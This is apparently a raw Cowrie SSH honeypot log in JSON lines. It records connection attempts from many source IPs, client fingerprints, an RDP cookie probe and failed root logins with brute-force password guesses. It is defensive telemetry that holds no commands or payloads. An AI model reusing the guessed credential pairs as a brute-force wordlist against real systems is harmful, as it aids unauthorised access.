{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:37.732127Z","src_ip":"193.32.162.151","session":"028371357684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:38.838866Z","src_ip":"193.32.162.151","session":"028371357684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":59784,"dst_ip":"10.17.0.5","dst_port":22,"session":"6902b0c1d315","protocol":"ssh","message":"New connection: 43.228.112.254:59784 (10.17.0.5:22) [session: 6902b0c1d315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:48.388341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:48.392780Z","src_ip":"43.228.112.254","session":"6902b0c1d315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:48.605701Z","src_ip":"43.228.112.254","session":"6902b0c1d315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"micro1","message":"login attempt [root/micro1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:49.481803Z","src_ip":"43.228.112.254","session":"6902b0c1d315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:50.694269Z","src_ip":"43.228.112.254","session":"6902b0c1d315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":27922,"dst_ip":"10.17.0.5","dst_port":22,"session":"60668911b3e6","protocol":"ssh","message":"New connection: 190.119.63.98:27922 (10.17.0.5:22) [session: 60668911b3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:54.365455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:54.376364Z","src_ip":"190.119.63.98","session":"60668911b3e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:54.517176Z","src_ip":"190.119.63.98","session":"60668911b3e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":53454,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9fdf9f392c5","protocol":"ssh","message":"New connection: 43.156.136.152:53454 (10.17.0.5:22) [session: f9fdf9f392c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:55.595193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:55.600496Z","src_ip":"43.156.136.152","session":"f9fdf9f392c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:55.847549Z","src_ip":"43.156.136.152","session":"f9fdf9f392c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"altec","message":"login attempt [root/altec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:56.861987Z","src_ip":"43.156.136.152","session":"f9fdf9f392c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:58.110641Z","src_ip":"43.156.136.152","session":"f9fdf9f392c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.456","message":"login attempt [root/123.456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:30:59.184011Z","src_ip":"190.119.63.98","session":"60668911b3e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:00.332214Z","src_ip":"190.119.63.98","session":"60668911b3e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":54784,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a39677df9a","protocol":"ssh","message":"New connection: 192.169.243.246:54784 (10.17.0.5:22) [session: 94a39677df9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:23.864025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:23.870596Z","src_ip":"192.169.243.246","session":"94a39677df9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:23.946997Z","src_ip":"192.169.243.246","session":"94a39677df9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anju","message":"login attempt [root/anju] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:24.282426Z","src_ip":"192.169.243.246","session":"94a39677df9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:25.362721Z","src_ip":"192.169.243.246","session":"94a39677df9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60098,"dst_ip":"10.17.0.5","dst_port":22,"session":"10d9497fbee3","protocol":"ssh","message":"New connection: 167.172.81.52:60098 (10.17.0.5:22) [session: 10d9497fbee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:29.875749Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:29.880117Z","src_ip":"167.172.81.52","session":"10d9497fbee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:29.883671Z","src_ip":"167.172.81.52","session":"10d9497fbee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":40332,"dst_ip":"159.203.135.109","dst_port":22,"session":"b616ca367c89","protocol":"ssh","message":"New connection: 109.172.54.111:40332 (159.203.135.109:22) [session: b616ca367c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:30.469449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:30.474706Z","src_ip":"109.172.54.111","session":"b616ca367c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:30.574146Z","src_ip":"109.172.54.111","session":"b616ca367c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2cde3","message":"login attempt [root/zaq1xsw2cde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:30.883263Z","src_ip":"109.172.54.111","session":"b616ca367c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:31.985862Z","src_ip":"109.172.54.111","session":"b616ca367c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":50384,"dst_ip":"10.17.0.5","dst_port":22,"session":"19ced3d44777","protocol":"ssh","message":"New connection: 103.77.242.62:50384 (10.17.0.5:22) [session: 19ced3d44777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:37.346036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:37.350920Z","src_ip":"103.77.242.62","session":"19ced3d44777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:37.585439Z","src_ip":"103.77.242.62","session":"19ced3d44777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mjkmjk21","message":"login attempt [root/mjkmjk21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:38.289185Z","src_ip":"103.77.242.62","session":"19ced3d44777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:31:39.525471Z","src_ip":"103.77.242.62","session":"19ced3d44777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":47920,"dst_ip":"10.17.0.5","dst_port":22,"session":"d850b1403bc2","protocol":"ssh","message":"New connection: 37.143.61.84:47920 (10.17.0.5:22) [session: d850b1403bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:07.093524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:07.491621Z","src_ip":"37.143.61.84","session":"d850b1403bc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:07.593910Z","src_ip":"37.143.61.84","session":"d850b1403bc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12151215","message":"login attempt [root/12151215] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:09.305995Z","src_ip":"37.143.61.84","session":"d850b1403bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:10.602511Z","src_ip":"37.143.61.84","session":"d850b1403bc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":45066,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5dbaace6b1","protocol":"ssh","message":"New connection: 43.228.112.254:45066 (10.17.0.5:22) [session: 9c5dbaace6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:17.540782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:17.545518Z","src_ip":"43.228.112.254","session":"9c5dbaace6b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:17.755633Z","src_ip":"43.228.112.254","session":"9c5dbaace6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitpassword","message":"login attempt [root/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:18.630826Z","src_ip":"43.228.112.254","session":"9c5dbaace6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:19.844446Z","src_ip":"43.228.112.254","session":"9c5dbaace6b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":39730,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fad30feb4d7","protocol":"ssh","message":"New connection: 43.156.136.152:39730 (10.17.0.5:22) [session: 4fad30feb4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:20.928607Z"}
